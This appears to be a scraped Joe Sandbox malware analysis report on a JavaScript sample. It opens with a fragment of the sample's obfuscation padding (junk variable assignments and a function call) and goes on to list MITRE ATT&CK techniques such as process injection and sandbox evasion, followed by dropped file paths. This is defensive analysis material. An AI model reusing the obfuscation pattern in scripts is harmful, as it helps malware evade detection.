1172	hbcerg = "P";
1173	hbcerg = "i";
1174	hbcerg = "F";
1175	hbcerg = "k";
1176	hbcerg = "y";
1177	hbcerg = "G";
1178	hbcerg = "I";
1179	hbcerg = "Q";
1180	hbcerg = "L";
1181	hbcerg = "P";
1182	hbcerg = "W";
1183	hbcerg = "j";
1184	hbcerg = "f";
1185	hbcerg = "h";
1186	hbcerg = "D";
1187	hbcerg = "I";
1188	hbcerg = "e";
1189	hbcerg = "X";
1190	hbcerg = "j";
1191	hbcerg = "p";
1192	hbcerg = "o";
1193	hbcerg = "s";
1194	hbcerg = "b";
1195	uxjydu = "I";
1196	uxjydu = "S";
1197	uxjydu = "v";
1198	uxjydu = "H";
1199	uxjydu = "M";
1200	uxjydu = "E";
1201	uxjydu = "n";
1202	uxjydu = "a";
1203	drmvvwkw = "s";
1204	drmvvwkw = "L";
1205	drmvvwkw = "D";
1206	drmvvwkw = "D";
1207	drmvvwkw = "n";
1208	drmvvwkw = "H";
1209	drmvvwkw = "k";
1210	drmvvwkw = "A";
1211	drmvvwkw = "f";
1212	drmvvwkw = "d";
1213	drmvvwkw = "p";
1214	drmvvwkw = "j";
1215	drmvvwkw = "P";
1216	drmvvwkw = "T";
1217	drmvvwkw = "n";
1218	drmvvwkw = "o";
1219	drmvvwkw = "j";
1220	drmvvwkw = "c";
1221	drmvvwkw = "m";
1222	drmvvwkw = "K";
1223	drmvvwkw = "b";
1224	drmvvwkw = "I";
1225	drmvvwkw = "u";
1226	drmvvwkw = "Z";
1227	drmvvwkw = "K";
1228	drmvvwkw = "C";
1229	drmvvwkw = "4";
1230	einso = "o";
1231	einso = "G";
1232	einso = "L";
1233	einso = "n";
1234	einso = "g";
1235	einso = "f";
1236	einso = "Z";
1237	einso = "k";
1238	einso = "x";
1239	einso = "P";
1240	einso = "i";
1241	einso = "O";
1242	einso = "a";
1243	einso = "y";
1244	einso = "Y";
1245	einso = "i";
1246	einso = "s";
1247	einso = "A";
1248	einso = "j";
1249	einso = "c";
1250	einso = "A";
1251	einso = "V";
1252	einso = "y";
1253	einso = "u";
1254	einso = "O";
1255	einso = "o";
1256	einso = "R";
1257	einso = "X";
1258	einso = "l";
1259	einso = "X";
1260	einso = "a";
1261	einso = "D";
1262	einso = "f";
1263	einso = "n";
1264	einso = "U";
1265	einso = "h";
1266	mixxqpsyw ( );	mixxqpsyw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 12621132703258916868.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7023f68e-2b1c-49b6-a9ae-5c0c7a82be97.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d134025-cf76-4f49-ab37-a08734565790.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4687aa.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
12621132703258916868.js